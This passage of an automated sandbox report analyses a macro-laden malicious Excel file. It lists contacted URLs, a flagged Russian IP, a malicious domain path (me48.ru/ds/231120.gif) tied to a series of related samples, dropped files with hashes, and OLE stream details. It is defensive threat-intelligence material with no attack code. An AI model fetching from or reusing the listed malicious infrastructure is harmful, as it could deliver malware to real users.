                                                                                                                                        https://clients.config.office.net/user/v1.0/mac49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                          high
                                                                                                                                          https://dataservice.o365filtering.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          • URL Reputation: safe
                                                                                                                                          unknown
                                                                                                                                          https://onedrive.live.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                            high
                                                                                                                                            https://ovisualuiapp.azurewebsites.net/pbiagave/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                            • Avira URL Cloud: safe
                                                                                                                                            unknown
                                                                                                                                            https://visio.uservoice.com/forums/368202-visio-on-devices49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                              high
                                                                                                                                              https://directory.services.49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              • URL Reputation: safe
                                                                                                                                              unknown
                                                                                                                                              https://login.windows-ppe.net/common/oauth2/authorize49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                                high
                                                                                                                                                https://loki.delve.office.com/api/v1/configuration/officewin32/49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                                  high
                                                                                                                                                  https://onedrive.live.com/embed?49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                                    high
                                                                                                                                                    https://augloop.office.com49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drfalse
                                                                                                                                                      high

                                                                                                                                                      Contacted IPs

                                                                                                                                                      • No. of IPs < 25%
                                                                                                                                                      • 25% < No. of IPs < 50%
                                                                                                                                                      • 50% < No. of IPs < 75%
                                                                                                                                                      • 75% < No. of IPs

                                                                                                                                                      Public

                                                                                                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                      188.225.24.87
                                                                                                                                                      unknownRussian Federation
                                                                                                                                                      9123TIMEWEB-ASRUfalse

                                                                                                                                                      General Information

                                                                                                                                                      Joe Sandbox Version:31.0.0 Red Diamond
                                                                                                                                                      Analysis ID:324308
                                                                                                                                                      Start date:29.11.2020
                                                                                                                                                      Start time:05:06:11
                                                                                                                                                      Joe Sandbox Product:CloudBasic
                                                                                                                                                      Overall analysis duration:0h 4m 21s
                                                                                                                                                      Hypervisor based Inspection enabled:false
                                                                                                                                                      Report type:full
                                                                                                                                                      Sample file name:document-1421190491.xls
                                                                                                                                                      Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                      Run name:Potential for more IOCs and behavior
                                                                                                                                                      Number of analysed new started processes analysed:25
                                                                                                                                                      Number of new started drivers analysed:0
                                                                                                                                                      Number of existing processes analysed:0
                                                                                                                                                      Number of existing drivers analysed:0
                                                                                                                                                      Number of injected processes analysed:0
                                                                                                                                                      Technologies:
                                                                                                                                                      • HCA enabled
                                                                                                                                                      • EGA enabled
                                                                                                                                                      • HDC enabled
                                                                                                                                                      • AMSI enabled
                                                                                                                                                      Analysis Mode:default
                                                                                                                                                      Analysis stop reason:Timeout
                                                                                                                                                      Detection:MAL
                                                                                                                                                      Classification:mal80.expl.evad.winXLS@3/6@1/1
                                                                                                                                                      EGA Information:Failed
                                                                                                                                                      HDC Information:Failed
                                                                                                                                                      HCA Information:
                                                                                                                                                      • Successful, ratio: 100%
                                                                                                                                                      • Number of executed functions: 0
                                                                                                                                                      • Number of non-executed functions: 0
                                                                                                                                                      Cookbook Comments:
                                                                                                                                                      • Adjust boot time
                                                                                                                                                      • Enable AMSI
                                                                                                                                                      • Found application associated with file extension: .xls
                                                                                                                                                      • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                      • Attach to Office via COM
                                                                                                                                                      • Scroll down
                                                                                                                                                      • Close Viewer
                                                                                                                                                      Warnings:
                                                                                                                                                      Show All
                                                                                                                                                      • Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe
                                                                                                                                                      • Excluded IPs from analysis (whitelisted): 104.43.139.144, 104.43.193.48, 168.61.161.212, 52.109.88.177, 52.109.88.39, 51.104.144.132, 2.20.84.85, 20.54.26.129, 13.107.4.50, 92.122.213.247, 92.122.213.194, 51.104.139.180
                                                                                                                                                      • Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, arc.msn.com.nsatc.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, audownload.windowsupdate.nsatc.net, nexus.officeapps.live.com, officeclient.microsoft.com, watson.telemetry.microsoft.com, elasticShed.au.au-msedge.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, c-0001.c-msedge.net, skypedataprdcolcus16.cloudapp.net, afdap.au.au-msedge.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, au.au-msedge.net, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, au.c-0001.c-msedge.net, europe.configsvc1.live.com.akadns.net

                                                                                                                                                      Simulations

                                                                                                                                                      Behavior and APIs

                                                                                                                                                      No simulations

                                                                                                                                                      Joe Sandbox View / Context

                                                                                                                                                      IPs

                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                      188.225.24.87document-1421190491.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1473929595.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1473929595.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1484980114.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1493705687.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1484980114.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1493705687.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1495480491.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1495480491.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1466663902.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1466663902.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1470167594.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1470167594.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1470686903.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1470686903.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1500762737.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1500762737.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1474276477.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1474276477.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif
                                                                                                                                                      document-1474357336.xlsGet hashmaliciousBrowse
                                                                                                                                                      • me48.ru/ds/231120.gif

                                                                                                                                                      Domains

                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                      me48.rudocument-1473929595.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1473929595.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1484980114.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1493705687.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1484980114.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1493705687.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1495480491.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1495480491.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1466663902.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1466663902.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1470167594.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1470167594.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1470686903.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1470686903.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1500762737.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1500762737.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1474276477.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1474276477.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1474357336.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87

                                                                                                                                                      ASN

                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                      TIMEWEB-ASRUdocument-1421190491.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1473929595.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1473929595.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1484980114.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1493705687.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1484980114.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1493705687.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1495480491.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1495480491.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1466663902.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1466663902.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1470167594.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1470167594.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1470686903.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1470686903.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1500762737.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1500762737.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1474276477.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1474276477.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87
                                                                                                                                                      document-1474357336.xlsGet hashmaliciousBrowse
                                                                                                                                                      • 188.225.24.87

                                                                                                                                                      JA3 Fingerprints

                                                                                                                                                      No context

                                                                                                                                                      Dropped Files

                                                                                                                                                      No context

                                                                                                                                                      Created / dropped Files

                                                                                                                                                      C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\49FB59A5-3615-4863-88E0-DD6B4F54A974
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):129952
                                                                                                                                                      Entropy (8bit):5.378342058925579
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:1536:zcQceNWiA3gZwLpQ9DQW+zAUH34ZldpKWXboOilXPErLL8TT:RmQ9DQW+zBX8u
                                                                                                                                                      MD5:8C7536EED0ECD3BA4239DEEEE5638E41
                                                                                                                                                      SHA1:CD9C9977EB5058EE4CEF83CD442575B1C5F5990E
                                                                                                                                                      SHA-256:9B2BF55D5C4060291C6C7B174645BA92D4FE9584C0EA76CD2547DABF05A30337
                                                                                                                                                      SHA-512:27C95415EEEE855A049DBC74925870A47E8F19446BB2F816521A7DFA7F37C6DC56CFB488AD69B8EE6C93423D3603B49F35100356E8A8DEA688D8C63CAE196D4A
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2020-11-29T04:07:08">.. Build: 16.0.13518.30530-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                      C:\Users\user\AppData\Local\Temp\A0A10000
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:data
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):314572
                                                                                                                                                      Entropy (8bit):7.985628481975665
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:6144:mBEmiPirFLPodmRqyAVYtlKsVLCyo7NtbcY7uLaG/9t7+MI:9oFPM8R3AsB+bjej/9cp
                                                                                                                                                      MD5:A601AFE11E025C1AAEEC4F358F5BBB32
                                                                                                                                                      SHA1:8C5941B6C7E52E2A4FF8A78F3898D3820395AE27
                                                                                                                                                      SHA-256:16B61D663DEC1BEF67362E5F51111B5BFD4F6240970F83CA16EF85B3EDC55BC6
                                                                                                                                                      SHA-512:1C8EBE57A7847E31198F227FA8A669CDECD2EF7C03A605902F7CEFFB18833DE06D1F6EFCE164947E51EBF9C33725455A212A2743631ACC2ED465552C239E2E13
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: .V.n.0....?......(..r.izl.$...\K....I..RV.4p,.6.^..vfv....jcM....w5..f..'........WV`.N....l....?.....h.5kS..8G..X...VV>Z..66<...........%p.L..-..a%.L*n6.x.d..+.w.e......".P...+..VZ.....t.!.P..$k..51.;H..C..r....6k...GD08Mf.CE.]*...7....>.q...Q+(nEL?.%....'..K...a.l...6.L.9VY!..qbi..v...0u.......n....t.#::.S.........;.;.........C......=....@....r.f..;...;..m.ik..\....s+"..Dm.9....#:T.OY../N............p.....> .....<O..]....4.3e_...i...1.@....O..........PK..........!.C.T.....e.......[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 16:19:49 2019, mtime=Sun Nov 29 12:07:12 2020, atime=Sun Nov 29 12:07:12 2020, length=16384, window=hide
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):904
                                                                                                                                                      Entropy (8bit):4.65021849237985
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:8QXUlHuElPCH2AYx+YJh+J2X+WrjAZ/2bDFLC5Lu4t2Y+xIBjKZm:8igcUAZiD087aB6m
                                                                                                                                                      MD5:43D4EE23CE3642FA725A9871410CC46A
                                                                                                                                                      SHA1:13954D485991D8964A537F3C9B25F456BA55B1A8
                                                                                                                                                      SHA-256:E5940E747DF0A5BECB528789DBCA724A6BACDC8D071CB1E1E5083CD0C4F36B7F
                                                                                                                                                      SHA-512:0C89B2DF924DDFE4246BBA7B9E10657A7F31173E2B1BFC597DD533343911F78202AB2B2CDA7A8CB0C7BF722433E628C1F047F346F6CE01ECA63D53BA257E31DC
                                                                                                                                                      Malicious:false
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: L..................F........N....-..n...P... f..P....@......................u....P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L..}Q.h....................:.....q|..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Qwx..user.<.......Ny.}Q.h.....S....................8.|.h.a.r.d.z.....~.1.....}Q.h..Desktop.h.......Ny.}Q.h.....Y..............>.....XP0.D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......E...............-.......D...........>.S......C:\Users\user\Desktop........\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...As...`.......X.......899552...........!a..%.H.VZAj...4.4...........-..!a..%.H.VZAj...4.4...........-.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............
                                                                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\document-1421190491.xls.LNK
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 14:03:43 2020, mtime=Sun Nov 29 12:07:12 2020, atime=Sun Nov 29 12:07:12 2020, length=338944, window=hide
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):4400
                                                                                                                                                      Entropy (8bit):4.671644478213751
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:48:8zTNtjRMNmjB6pzTNtjRMNmjB6pMNtjRMNmjB6pMNtjRMNmjB6:8z5tImjKz5tImjKmtImjKmtImj
                                                                                                                                                      MD5:263C279AF7835C2F35D55090BE28F5AA
                                                                                                                                                      SHA1:CCEBD0AB795DD7A609602BFC382BDC4A7EC37F81
                                                                                                                                                      SHA-256:0A4C4A8D1C9BF74611602F4C20D6E32E08E483ACCB03BEB5E54DFD0ACE01FA0B
                                                                                                                                                      SHA-512:F56E10EA21C2F48E0BA02A30391F82FF9A22A2F6930D42BE5778A0D97E5BFB2B97F97628CF5922C480BD93160649D46562F409981BEC748164525F497EDA8CA6
                                                                                                                                                      Malicious:true
                                                                                                                                                      Reputation:low
                                                                                                                                                      Preview: L..................F.... ..."4x.:... ...P... ...P....,...........................P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L..}Q.h....................:.....q|..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Qwx..user.<.......Ny.}Q.h.....S....................8.|.h.a.r.d.z.....~.1.....>Qxx..Desktop.h.......Ny.}Q.h.....Y..............>.....<.m.D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....|.2..,..}Q.h .DOCUME~1.XLS..`......>Qvx}Q.h....h.....................X.".d.o.c.u.m.e.n.t.-.1.4.2.1.1.9.0.4.9.1...x.l.s.......]...............-.......\...........>.S......C:\Users\user\Desktop\document-1421190491.xls........\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.d.o.c.u.m.e.n.t.-.1.4.2.1.1.9.0.4.9.1...x.l.s.........:..,.LB.)...As...`.......X.......899552...........!a..%.H.VZAj...n..-.........-..!a..%.H.VZAj...n..-.........-.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0
                                                                                                                                                      C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:modified
                                                                                                                                                      Size (bytes):260
                                                                                                                                                      Entropy (8bit):4.617963465642737
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:6:dj6Y9LTcrELTcRY9LTcrELTcRY9LTcrELTcRY9LTcV:dmmrKmrKmrKmC
                                                                                                                                                      MD5:6AEF86183CABD4064142E3117864C8CE
                                                                                                                                                      SHA1:B8A53DFED801BFA4F14EE02AA7B7471457CE04FC
                                                                                                                                                      SHA-256:2BFF696C2B5F007659BCC157BEAA643BDAF321B997C76B3B843B627369433F3C
                                                                                                                                                      SHA-512:7C58DE7BF9A179263D48856FF4015D036B2C2ECD056DD9118A6E793B6E26E83668C8299E97B751FD88525736F36002693D176176B3A63150A1567DD4259484EB
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview: Desktop.LNK=0..[xls]..document-1421190491.xls.LNK=0..document-1421190491.xls.LNK=0..[xls]..document-1421190491.xls.LNK=0..document-1421190491.xls.LNK=0..[xls]..document-1421190491.xls.LNK=0..document-1421190491.xls.LNK=0..[xls]..document-1421190491.xls.LNK=0..
                                                                                                                                                      C:\Users\user\Desktop\71A10000
                                                                                                                                                      Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                      File Type:Applesoft BASIC program data, first line number 16
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):398743
                                                                                                                                                      Entropy (8bit):7.1926735097598105
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:6144:FcKoSsxzNDZLDZjlbR868O8KiA4XkXOn2xEtjPOtioVjDGUU1qfDlavx+W+LIfdc:gizo8RnsIROnr6n75Y1b
                                                                                                                                                      MD5:88576C96C48B8AD6C0998B9AF4EEE8D1
                                                                                                                                                      SHA1:16E438E4F9A350A3C62EDD156DF0EAD8E56AEEEC
                                                                                                                                                      SHA-256:AC0693EB4FA7F56B8AB2978D50297846604020D099D900965077A80ABBB013E0
                                                                                                                                                      SHA-512:093F197FB9A50706A9A7D3B0B54456643F691915FAD7398E04142F622EFFBC7812E0795705DD428072D711B245A65109CFCD14B754304525BB2FEEBCA8A7F76A
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview: ........T8..........................\.p.... B.....a.........=..........................................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...,...8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...h...8...........C.a.m.b.r.i.a.1.......<...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1

                                                                                                                                                      Static File Info

                                                                                                                                                      General

                                                                                                                                                      File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Thu Nov 26 09:45:46 2020, Security: 0
                                                                                                                                                      Entropy (8bit):7.522918762403885
                                                                                                                                                      TrID:
                                                                                                                                                      • Microsoft Excel sheet (30009/1) 78.94%
                                                                                                                                                      • Generic OLE2 / Multistream Compound File (8008/1) 21.06%
                                                                                                                                                      File name:document-1421190491.xls
                                                                                                                                                      File size:338944
                                                                                                                                                      MD5:6fb9d4467b35d90aaa988395194590c7
                                                                                                                                                      SHA1:e8506016f9fead7cda2181110732282805284a97
                                                                                                                                                      SHA256:d6237352c99d9956dd3857cadcad11a382a471c8b73962e2f784728e8aba5cdd
                                                                                                                                                      SHA512:0fd046734a10d3ca8fb4b3d6b668db1b733a7a5134b9634e5a13c4d163e89c1dc004e98ef8de0c505056df5ff054b9e4c26c61f4f0db64398c0c2c82bd4ac034
                                                                                                                                                      SSDEEP:6144:YcKoSsxzNDZLDZjlbR868O8Kfc03pXOFq7uDphYHceXVhca+fMHLty/x2zZ8kpTu:Cizo8RnsIROnr6n75Yh
                                                                                                                                                      File Content Preview:........................>......................................................................................................................................................................................................................................

                                                                                                                                                      File Icon

                                                                                                                                                      Icon Hash:74ecd4c6c3c6c4d8

                                                                                                                                                      Static OLE Info

                                                                                                                                                      General

                                                                                                                                                      Document Type:OLE
                                                                                                                                                      Number of OLE Files:1

                                                                                                                                                      OLE File "document-1421190491.xls"

                                                                                                                                                      Indicators

                                                                                                                                                      Has Summary Info:True
                                                                                                                                                      Application Name:Microsoft Excel
                                                                                                                                                      Encrypted Document:False
                                                                                                                                                      Contains Word Document Stream:False
                                                                                                                                                      Contains Workbook/Book Stream:True
                                                                                                                                                      Contains PowerPoint Document Stream:False
                                                                                                                                                      Contains Visio Document Stream:False
                                                                                                                                                      Contains ObjectPool Stream:
                                                                                                                                                      Flash Objects Count:
                                                                                                                                                      Contains VBA Macros:True

                                                                                                                                                      Summary

                                                                                                                                                      Code Page:1251
                                                                                                                                                      Author:
                                                                                                                                                      Last Saved By:
                                                                                                                                                      Create Time:2006-09-16 00:00:00
                                                                                                                                                      Last Saved Time:2020-11-26 09:45:46
                                                                                                                                                      Creating Application:Microsoft Excel
                                                                                                                                                      Security:0

                                                                                                                                                      Document Summary

                                                                                                                                                      Document Code Page:1251
                                                                                                                                                      Thumbnail Scaling Desired:False
                                                                                                                                                      Contains Dirty Links:False
                                                                                                                                                      Shared Document:False
                                                                                                                                                      Changed Hyperlinks:False
                                                                                                                                                      Application Version:917504

                                                                                                                                                      Streams

                                                                                                                                                      Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096
                                                                                                                                                      General
                                                                                                                                                      Stream Path:\x5DocumentSummaryInformation
                                                                                                                                                      File Type:data
                                                                                                                                                      Stream Size:4096
                                                                                                                                                      Entropy:0.367004077607
                                                                                                                                                      Base64 Encoded:False
                                                                                                                                                      Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . . . . . 2 . . . . . . . . . 3 . . . . . . . . . 1 . . . . . . . . . 4 . . . . . . . . . 5 . . . . . . . . . . . . . . . . . .
                                                                                                                                                      Data Raw:fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 00 01 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 bf 00 00 00 02 00 00 00 e3 04 00 00
                                                                                                                                                      Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096
                                                                                                                                                      General
                                                                                                                                                      Stream Path:\x5SummaryInformation
                                                                                                                                                      File Type:data
